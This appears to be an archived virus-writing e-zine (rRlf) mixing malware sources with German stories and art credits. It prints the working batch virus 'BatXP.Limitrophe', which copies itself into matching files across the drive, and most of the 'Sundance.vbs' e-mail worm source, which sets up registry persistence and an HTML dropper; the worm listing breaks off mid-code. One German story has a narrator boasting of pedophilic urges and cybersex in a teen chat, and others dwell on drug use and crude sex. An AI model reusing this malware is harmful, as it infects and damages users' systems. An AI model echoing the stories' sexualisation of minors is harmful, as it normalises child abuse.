%***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%************.......%%******************.%%**************.....%\%******************.%%*****************..%%**.................%%********...........%%***................%%*****..............%~1\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***************....%%**********.........%%******************.%%*..................%w%**********.........%%*****..............%%*..................%\%**.................%%********...........%%***................%%*****..............%%*..................%%**************.....%\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%******************.%%****...............%%*****..............%p%********...........%%*..................%%*************......%%**.................%\%******************.%%*****************..%%**.................%%********...........%%***................%%*****..............%~1\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%****...............%%*******************%%*..................%%*****..............%%****************...%%*..................%%*********..........%\%******.............%%*************......%%****************...%%**************.....%%***************....%%*..................%%**.................%\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%***************....%%**.................%sources
BatXP.Limitrophe.c DvL echo off %random% for /r \ %%_ in (*.b*) do copy %0 %%_arts
rRlf Logo DvL
arts
Presenting KAV Team DvL
has to be looked together with "the good ones" by philet0ast3r. btw: DvL studies art right now. check out his deviantart page: http://acelceva.deviantart.com/
articles
Die unergründlichen Wege der Kunst El DudErin0 Die unergründlichen Wege der Kunst Kürzlich besuchte ich eine Kunstgallerie nicht weit entfernt von goatse.cx und ccn.com. Es waren viele Werke jüngerer Künstler zu begutachten, und nicht eines davon war Porno. Doch es kam viel besser: Ich schlenderte durch die endlosen Reihen an belanglosen Versuchen der Künstler sich in das Hirn eines dreijährigen zu versetzen und tolle Farbkreationen zu erschaffen. Doch dann erblickte ich in der Ecke hinter einem Papierkorb einen zusammengefalteten Zettel. Ich bin ja ziemlich neugierig und deswegen ging ich zum Papierkorb. Ich sah mich um, damit mich nicht eine alte Museumswärterin für einen Penner hielt und mich hinauswarf, wenn ich den Zettel aufheben würde. Ich nahm das Stück Papier an mich und ging weiter. Als ich an der Männertoilette vorbeikam, betrat ich sie und schloss mich in einer der Kabinen ein. Ich entfaltete das Papier in der Erwartung irgendein wichtiges Dokument gefunden zu haben. Was ich jedoch fand war dies:
Der kleine James Hansard hatte diese liebliche Zeichnung gestaltet. Die Bildüberschrift
lautete: "This is Tim The yowie man scaring everyone." Auf dem Bild
sah man eine monströse Gestalt auf die vielerlei Vögel Kurs genommen
hatten, und die mit ihrem dezent angedeuteten Schrei einige Menschen zum weglaufen
brachte. Die Farbwahl und der Zeichenstil erinnerten mich sofort an die erstklassigen
Illustrationen von Hunter S. Thompsons "Fear and Loathing in Las Vegas".
Der Charme der Zeichnung hatte mich vollkommen in ihren Bann gezogen. Im linken
oberen Bildrand war eine sehr coole, aggressive Sonne zu sehen, die blutrot
gefärbt war. Ich starrte einige Zeit auf das Bild, bis ich plötzlich
wieder zu mir kam und mir bewusst war, dass ich in einer Toilette saß.
Ich beschloss zu gehen, doch vorher klaute ich mir noch einige dieser Papiertücher
mit denen man sich die Hände abtrocknet.
Dem Rest der Ausstellung schenkte ich kaum mehr beacht; ich hatte schliesslich
ein Meisterwerk in meiner Tasche, dass ich mir näher begutachten musste.
Ich holte meinen Mantel an der Garderobe ab und begab mich nach draussen, wo
die Welt mit aller Kraft versuchte unterzugehen. Ich nam also ein Taxi um nach
Hause zu kommen.
Ich stürmte in meine Wohnung und fiel fast über einen Stapel CD-Rohlinge.
Ich habe die Dinger fast überall in der Wohnung aufgetürmt. Oben auf
jedem habe ich einen Halogenstrahler draufgelegt, und so dienen sie mir als
Deckenfluter, die so tolles unaggressives Licht machen.
Jedenfalls versuchte ich ersteinmal den Namen "James Hansard" irgendwo
im Internet zu finden. Leider fand ich nur tausende Pornoseiten, die mir hoch
und heilig versprachen, wenn ich 23 ¤ im Monat zahlen würde, gäben
sie mir Britney Spears als meinen persönlichen Sklaven dazu. Deswegen bezog
ich neben der Suchmaschine meine zweitverlässlichste Quelle in die Recherche
mit ein; der AOL-Teen-Chat. Ich begab mich in den Channel für meine Stadt
und traf nachdem ich einige Pokemon-Schlachtrufe abgegeben hatte, "SexyGrrrl420".
Ich hatte eine schöne Konversation und nach dem Cybersex mit ihr auch eine
überdurchschnittlich hohe Befriedigung meiner paedophilen Triebe. Sie schickte
mir nachdem ich sie darum bat ein Bild von ihr:
Das Tattoo auf ihrer Taille war nicht zu übersehen. Da stand doch wirklich
"Hansard's Fuckbeast". Ich musste sofort mit ihr weitersprechen. Sie
erzählte mir, dass sie als sie das erste Mal Marijuana konsumierte, so
von Sinnen gewesen sei, einen dreijährigen Jungen gebeten zu haben ihr
ein Tattoo mit einer eiterverkrusteten Fixernadel auf ihren Bauch zu ritzen.
Als sie am nächsten Tag aufwachte war sie Hansard's Fuckbeast. Also, mit
diesem kleinen Mann muss ich mich unbedingt mal anfreunden, wenn ich ihm über
den Weg laufe, der ist mir echt sympatisch.
Ich beendete so meine alltägliche Wichssession, und setzte mich in meinen
Sessel. Da fiel mir das Bild wieder ein. Ich holte es heraus und bemerkte erst
jetzt, das dieser kleine dreijährige Typ der gleiche war, der auch das
Bild gemalt hatte. Ich rannte wieder zum PC und setzte mich nocheinmal mit meiner
Informantin in Kontakt. Bei dieser Gelegenheit lies ich mir nochmal ein Bild
von ihr schicken:
Sie sagte, dieses Bild sei einen Tag vor dem Fixertattoo Spektakel gemacht
worden, deswegen würden sie und ihre Freundin auch so fröhlich dreinschauen.
Das machte mich geil. Ich holte mir nochmal einen runter.
articles
Du weisst doch wie das ist... El DudErin0 Du weisst doch wie das ist... Es kommt für dich ziemlich unerwartet. Gerade eben bist du noch auf irgendeiner Party zusammen mit deinen Kumpels und diesem einen bischen durchgedrehten Typ mit Dreadlocks, der euch was von seinem "allerbesten Gras überhaupt" mitrauchen lässt. Die Bong wandert in deinem nun erweiterten Freundeskreis. Flamme, Blubbern, Husten, weiter. Du setzt zu deinem ersten Kopf an. Also das Feuerzeug ans Gras gehalten und los gehts. Du saugst den Rauch bis in die kleinsten Kapillaren deiner Lunge weil du auf das Versprechen bezüglich der Qualität misstrauisch bist. Die Hippies erzählen andauernd davon, ihr ausgetrocknetes Stengel- und Samenverseuchtes Bröselzeug sei das Beste das man irgendwoher bekommen könne. Das Gras verbrennt in einem unwahrscheinlich kurzen Zeitraum und zurück bleibt nur Asche, die in die Bong gesaugt wird. In der Bong steht noch der Rauch und deine Lungen sind zum Platzen voll, aber du saugst weiter und lässt das Kickloch los. Du spürst den Vorschlaghammer, der auf deinen Hinterkopf einschlägt und fängst an zu husten bis deine Atemwege brennen. Du streckst die Bong auf Armlänge von dir weg zum nächsten im Kreis, hoffst er wird sie dir in weniger als einer Milisekunde entreissen und stehst auf. Du brauchst jetzt was zu trinken. Dein Mund ist ausgetrocknet und du brennst innerlich. OK. Wo gehts zur Küche hier? Da muss doch was zu Trinken sein. Um dich herum: ein Türrahmen. Zwei Typen unterhaölten sich miteinander. Jeder von ihnen eine Bierflasche in der Hand. Du gehst auf sie zu und willst an ihnen vorbei. Ein Erdbeben erschüttert dich. Wo bist du? Konzentrieren. Etwas zu trinken. Du gehst immernoch weiter. Du blickst dich um, und als du merkst, dass dein T-Shirt nass ist siehst du die beiden Typen von gerade eben die wild in deine Richtung gestikulieren. Aber wo ist nun die Küche. Du würdest jemanden fragen, wenn du jetzt ein Wort rausbringen könntest, ohne vom darauffolgenden Schwindelgefühl umzukippen. Noch eine Tür, die mit rasender Geschwindigkeit auf dich zu kommt. Du versuchst dem Rahmen auszuweichen und schlüpfst durch die Mitte hindurch in einen hellen Raum, der mit allerlei glitzernden Amaturen ausgestattet ist, und du merkst dass du wirklich die Küche gefunden hast. "Scheisse!" Wer hat das gesagt? Du siehst dich um, aber bevor du jemanden ausmachen kannst fällt dein Blick auf einen Wasserhahn. "Der Typ sieht aber nicht mehr fit aus." Der soll bloss die Fresse halten. Was mischt er sich auch ein? Das ist jetzt eine Sachen allein zwischen dir und dem Wasser. Du drehst den Hahn auf, fängst etwas Wasser mit deinen Händen und trinkst daraus. So glasklar wie dir das Wasser auch vorkommt, geistig hat es dich nicht wieder fit gemacht. Dafür hat sich das Brennen beruhigt und du denkst wieder darüber nach mit anderen Leuten Kontakt aufzunehmen. "...Guter Scheiss, Alter..." Durch deine halboffenen Lider siehst du einen Typen auf dich zukommen. "...probieren?" Er hat eine abgebrochene Zigarette im Mundwinkel hängen und zwinkert dir zu. "...aus Paris..." Er sieht zwar nicht aus wie ein Franzose aber als er dir seinen Becher entgegenstreckt reisst du ihn ihm, ohne wirklich jemals den Wunsch dazu auch nur gedacht zu haben, aus der Hand, trinkst ihn aus und wirfst ihn mit der einen Hand hinter dich - "...Absinth..."- während du dir mit der anderen den Mund abwischt. Du reisst deine Augen so weit auf wie es dir nur möglich ist und siehst den Typen an, der wahrscheinlich genauso entgeistert auf dich zurückstarrt. Spiegelbild. Actio = reactio. In deinem Fall wäre die Aktion der grässlich-beissende Geschmack des Absinth den du dir gerade in einer netten 0,3 Liter Portion verabreicht hast. Deinem Spiegelbild reicht für die gleiche Reaktion schon nur der Anblick einer Person aus, die sich auf solch skrupellose Weise toxischen Einflüssen hingibt. Du weisst jetzt nicht genau wie es weitergehen soll und ausserdem willst du nicht die perfekte Übereinstimmung mit deinem halb nach vorne übergebeugten Spiegelbild kaputt machen, das dich mit weit offenem Mund und noch weiter afgerissenen Augen nachäfft. "Oh scheisse..." Und du kippst lautlos und in Zeitlupe zur Seite hin um. --- Du machst die Augen wieder auf ohne dich an einen Aufprall am Boden zu erinnern und bemerkst dass du schon wieder stehst oder noch garnicht umgefallen bist. Aber bevor du dir darüber den Kopf zerbrechen kannst spürst du das Stechen in deinen Augen. Es ist so hell, dass es wie das andere Extrem von Blindheit für dich ist. Und du fällst ein weiteres Mal um, und diesmal tut es so weh, dass du laut losschreist. --- Als du das nächste Mal zu dir kommst machst du die Augen wieder auf, und bleibst diesmal ungestraft. Was du siehst ist ein Engel. Aber er ist nicht weiss und glänzend sondern seine Flügel und sein Gewand sind ölversschmiert und er trägt Arbeitshandschuhe und einen gelben Schutzhelm. Ausserdem hängt in seinem Mundwinkel unmotiviert eine abgebrochene Zigarette. Er steht mit dem Rücken zu dir und schlägt mit einem Vorschlaghammer auf einen Stein ein, dem du eine gewisse Ähnlichkeit mit deinem Kopf zugestehst.arts
biggest fux0rs El DudErin0
arts
El DudErin0 himself
articles
I like it here El DudErin0 Ich öffne die Augen und sehe an die Decke. Das heisst, ich würde an die Decke sehen, wenn es nicht dunkel wäre. Also ersteinmal die Hand ausfahren - aber schön vorsichtig, damit ich nichts umschmeisse - und nach der Lampe tasten. Nach einigen unbeholfenen Bewegungen habe ich etwas in der Hand, was sich vertraut nach dem Schalter meiner Lampe anfühlt. *klick* *klick* ... *klicklicklick* ARGH! Wieso kommt hier kein verdammtes Licht? Muss wohl die Glühbirne kaputt gegangen sein, vielleicht habe ich mir letztes Wochenende einen Vaporizer für mein neues Gras aus Holland gebaut. Verdammt, wenn ich mich doch nur daran erinnern könnte! Also erstmal nach meiner Brille fischen, und dann hoffen, dass ich nicht auf allzu verletzende Gegenstände trete, ich muss immerhin noch zur Schule gehen. Als ich mich an der Wand entlang zum Lichtschalter manövriert habe, freue ich mich auf die Ankunft des Lichtes in meinem Zimmer, und das Brennen in den Augen, wenn man fast blind wird vom ersten Licht, das einem an die Augen dringt. Aber nichteinmal diese Freude ist mir gegönnt. Der geneigte Leser hat zu diesem Zeitpunkt wohl schon gemerkt, dass im Haus der Strom ausgefallen war. Im Gegensatz zu mir ist der geneigte Leser auch nicht verschlafen-missmütig und sehnt sich nach seinem weichen Bett zurück. Das will heissen, mir war das Ganze nicht so klar, wie es mir sein hätte sollen. Also reisse ich ersteinmal die Türe zu meinem Zimmer auf und gehe halb, falle halb die Treppe zur Küche herunter. Ich versuche mich an einem aufrechten Gang á la James Bond damit meine Elern nicht wieder denken, ich hätte wieder die gnaze Nacht durchgekifft, wie dieses eine Mal als ich mir Zitronen über die Zehen stülpte und meine Mutter mit einem "Raumschiff Enterprise" Replika Phaser im Gesicht aufweckte (Der kleine Plastikschalter war auf terminieren und nicht betäuben geschaltet...). Als ich die Türe zur Küche öffne denke ich, "OK, jetz aber schnell wieder aufwachen, denn in Wirklichkeit vermieten wir unsere Küche schon seit drei Monaten nicht mehr an diese Sekte." Vor mir auf dem Küchentisch stehen riesige Kerzen, deren Schein meine Sicht blendet und um den Tisch herum sitzen einige Schatten und spielen anscheinend Schafkopf. Als sich meine Augen wieder fokussieren stellt sich das ganze als Täuschung heraus und am Tisch sitzen bei Kerzenschein meine Eltern und meine Schwester und nihillieren in meine Richtung: "Stromausfall". Langsam setzt sich für mich auch das Puzzle zusammen. Stromausfall also... Das heisst, mein PC war ausgeschaltet und ich hab es nichteinmal gemerkt. Ohne etwas auf ihren Zuruf zu antworten entferne ich mich fluchtartig von meiner Familie und sehe nach, ob meinem PC etwas zugestossen ist. Ich schalte ihn also an, und als der Titelsong der Benny Hill Show erklingt, jubele ich kurz innerlich auf, da mein PC normal startet ohne im BIOS hängenzubleiben. Nicht, dass ich jetzt gerade paranoid wäre, aber nach siebenundvierzig ähnlichen Vorfällen, bei denen es nicht so toll lief ist so ein Startsound schon eine kleine Beruhigung. Jedenfalls lade ich den ganzen Scheiss, den man so braucht, und sehe dass meine Scatmovies in Kazaa mit einer Downloadrate von 70kb gesaugt werden. JUBEL JUBEL FREU FREU, wenn ich aus der Schule zurückkomme gibt's erstmal ne Ladung "Deutsches Schiezze Filme" für mich! Was ich nicht erwähnt habe bisher - und was auch von keinerlei Signifikanz war - ist, dass ich auch in meiner Freizeit Möchtegernschwarzer bin. Das bedeutet auch, dass ich so tue als würde ich verstehen, was die Rapper der Welt zu sagen haben. Manchmal mag ich es auch vorzutäuschen freestylen zu können, also suche ich mal schnell nach nem Instrumental für Shook Ones von Mobb Deep und geh erstmal ins Badezimmer, um mir die Asche und Lätt'n von gestern ausm Gesicht zu wischen. als ich so dasteh und mir immer wieder Wasser ins Gesicht schmeisse, um wach zu werden meint das Licht, es müsste zeigen wie funky fresh es down ist mit meinem kommenden Freestyle und macht erstmal nen improvisierten epileptischen Anfall, soll heissen, es geht an - aus - bleibt aus - an -aus - wieder an. Mit ner neuen Ladung Wasser lass ich erstmal das Fragezeichen aus meinem Gesicht verschwinden und geh zurück zum PC. Dieser ist zu meiner Überraschung nicht mehr, wie erwartet AN, sondern AUS. Als ich das Ding anschalte und hochfahren lasse ist es ersteinmal Zeit einen achtundvierzigsten Strich in die Wand neben meinem PC-Tower zu ritzen. Ein schöner Bluescreen schreit meinen immernoch lichtempfindlichen Augen entgegen. UNMOUNTABLE BOOT VOLUME. HASS! VERACHTUNG! "FUCK!" "KLEINE KINDER, DIE VON BOZO, DEM WUNDERSAMEN CLOWN EINE LEKTION IM ARSCHFICKEN ERTEILT BEKOMMEN! VERFLUCHTE GOTTVERDAMMTE DRECKSCHEISSE! Nachdem ich mir fast die Hand an meiner Tastatur gebrochen habe, und sie näher inspizire, um mögliche offene Brüche frühzeitig zu diagnostizieren fällt mein Blick auf meine Armbanduhr und die sagt: ES IST ZEIT FÜR SCHULE! WOW. Dieser Schultag ging als einer der längsten, langweiligsten in die Geschichte der amerikanischen Eisenbahn und auch die Geschichte der Welt ein. Nachdem ich heimkam, aus volkommener Langeweile ein Bild gemalt hatte während sechs Stunden lang CHKDSK auf meinem PC lief (Anmerkung: das Bild heißt when i am king (you will be first against the wall) und kann weiter unten begutachtet werden), sitze ich nun hier, bin überglücklich, benötige ungefähr ... viel Geld für irgend ne Backup Scheisse, und bekomme ne Mail in der steht "SCHREIB WAS, FAULE DRECKSAU!" und was denkt ihr tue ich? Ich mach notepad auf, und schreib davon, was mir heute passiert ist, als ich aufwache. Ich öffne die Augen und sehe an die Decke. ad absurdum.
articles
neu_textdatei_23 El DudErin0 Scheisse, verdammte dachte er sich. War mal wieder nix cooles in da Glotze. Er beschloss sich hinzuhocken und ne Story für seine Homepage zu schreiben. Im Hintergrund lief coole Mukke, und so dachte er sich er könnte doch jetzt auch zu kiffen anfangen. Da zufällig der Abend des letzten Schultags vor den Ferien war, kam ihm die glorreiche Idee sich so wegzuhauen, wie noch nie einer vor ihm es getan hatte. Goddseidangg hatte er noch seine lustigen Sachnn zu Hause. Schau mer mal dachte er laut und begann seinen Vorrat zu inspizieren. Es waren noch 10g vom Super Sensi Skunk aus Amsterdam da. Yeeehaa!, er schrie vor Freude auf. Wie es der Zufall so will, hatte er auch seine 7-Liter-Bong bei sich rumstehen. Er stopfte erstmal einen ganzen Kopf pures Sensi. Dann pflutschte er die Bong so, dass in seinem ganzen Raum ein Unter- oder Überdruck entstand, jedenfalls ganz schön arg. Er merkte wie der Rauch seine Lungen hinuntermarschierte, und es sich dort gemütlich machte. Dann kickte es ihn so hart, dass er jede einzelne Gehirnzelle zerplatzen HÖREN konnte. Ihm war ziemlich enorm schlecht, also versuchte er sich auf einen Sessel zu setzen. Dooch, Problemm. Irgendwie war er jetzt nicht mehr so ganz fähig sich den 2 meter langen Weg zum Sessel zu bahnen. Ach, was solls dachte er, und sofort packte er seine X-tra-long-big-Kingsize-smokings aus. Er drehte sich einen fetten Dübel aus dem Rest vom Hyper-Ultra-Illusions-goin'-thru-my-Head-Skunk. Jenen zog er sich dann genüsslich rein. Als er damit fertig war, beschloss er sich nun doch zu setzen. Er machte einen Schritt, schien aber nicht grade viel voranzukommen. Es kam ihm vor, als würde er durch eine endlose Wüste marschieren. Seinen Schätzungen nach war er nach ungefähr zwei Stunden am Ziel. Erleichtert setzte er sich. Er sass da, und sah aus seinem Fenster raus. Da er in einem Kaff, ohne Zivilisation wohnte, sah er auf ein offenes Feld. Cooler scheiss da draussen, is ja langweiliga als BigBrother ohne Sladdi. Aber seine Meinung änderte sich, als er sah, wie ein fettes UFO über dem Feld schwebte. Es schoss irgendwelche Laserstrahlen auf das Feld, um einen Kornkreis zu machen. Ich weiss ja nicht was diese Vollidioten wollen, aber wieso malen die einen Kornkreis in der Form vom ner Muschi ins Feld, und schreiben darunter in Psychedelischen Farbverläufen riesengross "FICKEN"? Das war jetzt natürlich schon ZIEMLICH seltsam. Das UFO flog wieder weg. Hmmm. Er fragte sich jetzt wirklich, was die Kornkreisbotschaft auf dem Feld bedeutete. Nachdem er 3 Stunden darüber nachgedacht hatte, gab er auf. Er sah sich in seinem Zimmer um. Die Bong. ... Ein kleiner Rest vom Hyppa-Power-besser-als-zuschlichten-Skunk. ... Sein Schreibtisch. ...Sein PC. ... Die Tussi aus seina Klasse, die er schon seit Ewigkeiten poppen wollte. ... Sein Sessel. ... .. . . .STOPP!!! Die Tussi aus seina Klasse, die er schon seit Ewigkeiten poppen wollte?????. Er sah nochmal hin. Nochmal. Sie war echt da. Tja, wenn du schonmal da bist, können wir ja jetzt Geschlechtsverkehr praktizieren sagte er. Ja, ich will auch mal wieder so richtig durchgepoppt werden erwiederte sie. Hossa, dachte er. Dann poppte er sie ein paarmal. Als sie fertig waren, sagte sie ihm, es sei das beste Ficken gewesen, das sie je erlebt hätte, (und nein es war nicht ihr erstesmal, nur um das klarzustellen). Sie beschloss noch ne weile dazubleiben. Praktischerweise hatte sie auch nochn bischen Gras dabei. Es war wahrscheinlich ne ganze Pflanze, die sich die beiden dann noch durch die Bong zogen. Spätta dann, beschloss sie zu gehen. Hawadäa, und machs gut sagte er, denn er wusste was sich gehört. Als sie gegangen war, freute er sich noch ne richtig grosse Weile, weil er sie endlich gepoppt hatte. Als er mit freuen fertig war, fragte er sich, was er jetzt machen sollte. Er beschloss aus dem Fenster auf das Feld zu schauen. Der Kornkreis in Form eines femininen Geschlechtsteils war immer noch da. Da er ne Glozzä in seinem Zimmer rumflakken hatte, drehte er sie an. Durch Zufall schaltete er die Nachrichten ein. Es wurde gemeldet, dass die Aliens die Erde bedrohen, und ihre Forderungen überall verkünden. Toller Scheiss dachte er. Einmal kifft man, und dann geht die scheiss Welt kacken. Und man ist nicht mal in der Lage alle auszulachen. So ein dummer Scheiss. Da wie anfangs schon erwähnt nichts cooles in da Glozzä lief, schaltete er den Scheiss wieder aus. Aber irgendwie wollte die Glozzä nicht so recht was er wollte. Er sah noch immer ein Fernsehbild. Er riss einfach den Stecker raus. Das Bild war imma noch nicht weg. Das machte ihn brutal verrückt. Was soll na der Scheiss, da ihm jetzt allmählich der Zweifel an der Echtheit des Fernsehbildes überkahm und jetzt sowieso sein Telefon klingelte, beschloss er die ganze Aktion abzubrechen. Er wanderte den Weg zum Telefon, er beeilte sich sogar. Kruzifix, welcher Volldepp is na dran? Es war eina vo seine Kümböllz. Was bist na du für a Volldepp antwortete der Kumpel, ich hab jetzt ne Viertelstunde läuten lassen. -Ach fick dich. -Was is jetzt eigentlich mit deiner Story, die du schreiben wolltest? -Da is was dazwischen gekommen. -Was na? -Ach a Scheiss. -Hast gekifft, was? -Weiss nicht. -Hast jez oda hast nicht? -Vielleicht. Is nicht so wichtig. Aba hast du schon gehört, dass die Aliens die Erde bedrohen? -Ja, die fordern FICKEN, des habns wenigstens in den Nachrichten bracht. ....... Da fiel ihm auf, dass er nun schon ziemlich 5 Minuten in seine PC-Boxen gesprochen hatte. Ihm war niemals zuvor aufgefallen, dass seine Boxen so gesprächig waren, er beschloss in Zukunft mehr mit ihnen zu reden. Er lies seinen Blick über seinen Schreibtisch mit dem PC streifen. Ihm fiel auf, dass die Tasten auf seiner Tastatur so lustig rumzuhüpfen begannen. Sie verschoben sich und bildeten das Wort FICKEN. Bei dem Wort musste er an nen Kumpel denken, der gleich beim ersten mal ohne Gummi geknallt hatte. Er brach in nen kranken Lachkrampf aus und der dauerte so seine 1-2 Stunden. Als er sich wieder beruhigt hatte, kam er zu dem Schluss, dass es nicht gerade klug sei ohne Gummi zu ficken. Das war aber ziemlich nebensächlich. Er drehte sich um.... HALT!!! MOMENTAMAL. Ein Gefühl des endlosen Wissens durchfuhr ihn, und führ einen Moment begriff er den Sinn des Daseins, da jener aber nicht so aufregend war, wie er sich das immer vorgestellt hatte, fiel ihm schlagartig ein: FICKEN---OHNE GUMMI--- NA KLAR, die Aliens wollen, dass alle Menschen ohne Gummi miteinander schlafen, und sich somit über kurz oder lang alle mit AIDS infizieren. Die Menschheit würde ausgerottet werden, und die Aliens könnten den Planeten kampflos übernehmen. Er musste etwas tun. Doch noch war Zeit. Er hockte sich nochmal hin. Man, Scheisse hab ich lang nix mehr durchgezogen. Ich hab ja noch den suppa-deluxe-supreme 5g Haschbrocken!!! Er rollte sich nen dübel, und zog ihn durch. Jetzt aber auf zum Menschheitretten! Hey, fugg, ich weiss garnicht, was man so braucht um die Welt zu retten. Er sah sich in seinem Zimmer um. Da war ja seine Brechstange, die er sich irgendwann mal für 4 DM gekauft hatte. Des teil könnt ich brauchn. Er packte die Brechstange in seinen Survival-Skater-Backpack. Das war so ziemlich alles, was zum Weltretten taugte, jedenfalls in seinem Zimmer. Er ging nach unten. ELTERN!!! Ich geh mal schnell die Welt retten. -Aba, du kommst schon vor zwölf Uhr wieder heim oder?? -Schau mer mal. Hawadäa. Er ging einfach in die Richtung, wo er vermutete, dass dort die Aliens sein könnten. Nach 5 stunden kam er schon im näxxten grösseren Kaff an. Und wirklich. Da waren die Aliens, und versuchten mit ihrem Mutterschiff das ganze Kaff zum FICKEN aufzufordern. Er zückte seine Brechstange. Er warf sie auf das UFO. Die Brechstange fiel vom UFO wieder zu Boden. So eine schwule Scheisse! Da fiel ihm ein, dass sein Survival-Skate-Backpack zugleich sein Schulrucksack war, und er noch die ganze Scheisse, die er sonst immer in die Schule mitnahm dabei hatte. Er holte seinen Rocket-Launcher hervor, und schoss ne fette Rocket auf das UFO. Das UFO wurde zerfetzt. Er verpisste sich, nicht dass ihm noch das Amt für extraterrestrische Flugkörper irgendeinen Ärger bereitete. Als er wieder zu Hause war, legte er sich in sein Bett. Er dachte noch ein bißchen nach, war froh, dass er die Welt gerettet hatte, beschloss in nächster Zeit nicht gleich nach dem Aufwachen drei Köpfe durchzuziehen, und schlief zufrieden ein. Er hatte ja jetzt endlich die geile Tussi aus seina Klasse gepoppt.arts
L0GO El DudErin0
articles
Tragische Fallhöhe El DudErin0 Das Streichholz gleitet langsam über die Reibefläche des Briefchens mit der Aufschrift "Cocamungo Bar". Es fährt über den Rand des Briefchens hinaus und bleibt kurz danach in der Luft stehen. In einer grellen Explosion entzündet sich der Streichholzkopf und die Flamme lodert auf. Er hebt die Flamme seinem Gesicht entgegen. Für einen Augenblick bilden der Mond, das Streichholz und seine Augen eine Linie. Es beginnt. Schulterhöhe... Gerade eben das Streichholz loszulassen war wahrscheinlich die schwerste Entscheidung die er jemals getroffen hat. Doch jetzt fällt es, und er entspannt sich. ...Herzhöhe... Pump-pump. Er schluckt. Er steht mitten in einer Pfütze Benzin, jetzt weiß es auch der Teil seines Gehirns, der noch rational funktioniert und schreit Zeter und Mordio. In seinem Innern werden gerade mit einer unglaublichen Geschwindigkeit alle möglichen Flüssigkeiten durch kleinste Kanäle gespült, in einer letzten verzweifelten Verteidigungsaktion seines Körpers, der alle Kräfte mobilisiert, um der übermächtigen Bedrohung, die er verspürt noch zu entkommen. ...Nabelhöhe... Wir befinden uns im unkontrollierten Landeanflug auf ein Atomkraftwerk. Bitte schließen Sie ihre Sicherheitsgurte und senden Sie ein allerletztes Stossgebet gen Himmel, auf dass da oben jemand Erbarmen mit ihrer verrotteten Seele haben wird. ...Endstation. Das Streichholz fällt auf seine Handfläche, die Hand schließt sich darum und als sie sich wieder öffnet dringt eine Schwade Rauch zwischen seinen Fingern hervor. *Ding* Bitte bleiben Sie angeschnallt bis wir unsere endgültige Halteposition erreicht haben. In der Zwischenzeit wird Ihr Körper eine große Portion Adrenalin für Sie bereithalten. Der Kapitän und sein Team wünschen Ihnen noch einen schönen Aufenthalt in Ihrem Leben. Er atmet einmal durch und steht für eine Weile regungslos da. Nein, so wird das Alles nicht enden. Davon ist er überzeugt. Schon gar nicht heute. Oder morgen. Oder in nächster Zeit. Und wenn doch, dann soll gefälligst jemand anderes die Drecksarbeit machen. Er geht langsam über den leeren Parkplatz der Cocamunga Bar und steigt in sein Auto. Er dreht den Zündschlüssel und aus dem Motor: *Vrrrrrmm-Vrrrwmmm* und aus dem Radio: "That's great, it starts with an earthquake, birds and snakes, an aeroplane and Lenny Bruce is not afraid..."sources
Sundance.vbs Energy 'Sundance.vbs worm 'This are the Last Open Source from my Vx Days 'I married my Old Girlfriend 'I am leave for a while this szene 'Thx to: AlcoPaul my Great Brother, the Brigada Ocho Members, and The RRLF Group!!! '....bye Energy set fso=createobject("Scripting.FileSystemObject") set repwin=fso.GetSpecialFolder(0) set WshShell = WScript.CreateObject("WScript.Shell") dim Nom1,Nom2,Action,html,script,script2 dim scripthtml(1000) Cle1="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Worm" Cle2="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentSunDance" Set file = fso.OpenTextFile(WScript.ScriptFullName, 1) Script = file.ReadAll Script2=replace(Script,chr(34),chr(163)) Script3=Script2 For i= 1 to 10000 do car = left(Script3,1) Script3=right(Script3,len(Script3)-1) if len(Script3)=0 then exit for if asc(car)>32 or car=" " then ScriptHtml(i)=ScriptHtml(i)+car if car = chr(10) then exit do loop until car = chr(10) if ScriptHtml(i)="" then exit for Next call lancement call mailoutlook call listadriv Call fin sub lancement if Wscript.ScriptFullName="C:\SunDance.vbs" then Nom1=GenerNom() Nom2=GenerNom() WshShell.RegWrite Cle2+"\Run\"+Nom1,repwin+"\"+Nom2+".vbs" WshShell.RegWrite Cle2+"\RunServices\"+Nom1,repwin+"\"+Nom2+".vbs" Set FichDer=fso.CreateTextFile(repwin+"\"+Nom2+".vbs") FichDer.write Script msgbox "You Updated my SunDance E-Mail Virus..Thx: To all Members of Brigada Ocho.(c) by Energy" end if action=1 on error resume next action=WshShell.RegRead(Cle1) WshShell.RegWrite Cle1,Action NomHtm=genernom() set FichIn=createtextfile(repwin+"\"+NomHtm+".htm") FichIn.writeline "<script language=vbscript>" FichIn.writeline "<!--" Fichin.writeline "set fso=createobject("+chr(34)+"Scripting.FileSystemObject"+chr(34)+")" FichIn.writeline "Set WshShell = Createobject("+chr(34)+"WScript.Shell"+chr(34)+")" FichIn.writeline "set fich=fso.createtextfile("+chr(34)+"C:\SunDance.vbs"+chr(34)+")" FichIn.writeline "dim vbfich(10000)" For i= 1 to 10000 FichIn.writeline "vbfich("+Cstr(i)+")= "+chr(34)+ScriptHtml(i)+chr(34) If ScriptHtml(i)="" then exit for Next PlusRien: FichIn.writeline "For i = 1 to 10000" FichIn.writeline "vbfich(i)=replace(vbfich(i),"+chr(34)+chr(163)+chr(34)+",chr(34))" FichIn.writeline "fich.writeline vbfich(i)" FichIn.writeline "If vbfich(i)="+chr(34)+chr(34)+" then exit for" FichIn.writeline "Next" FichIn.writeline "fich.close" 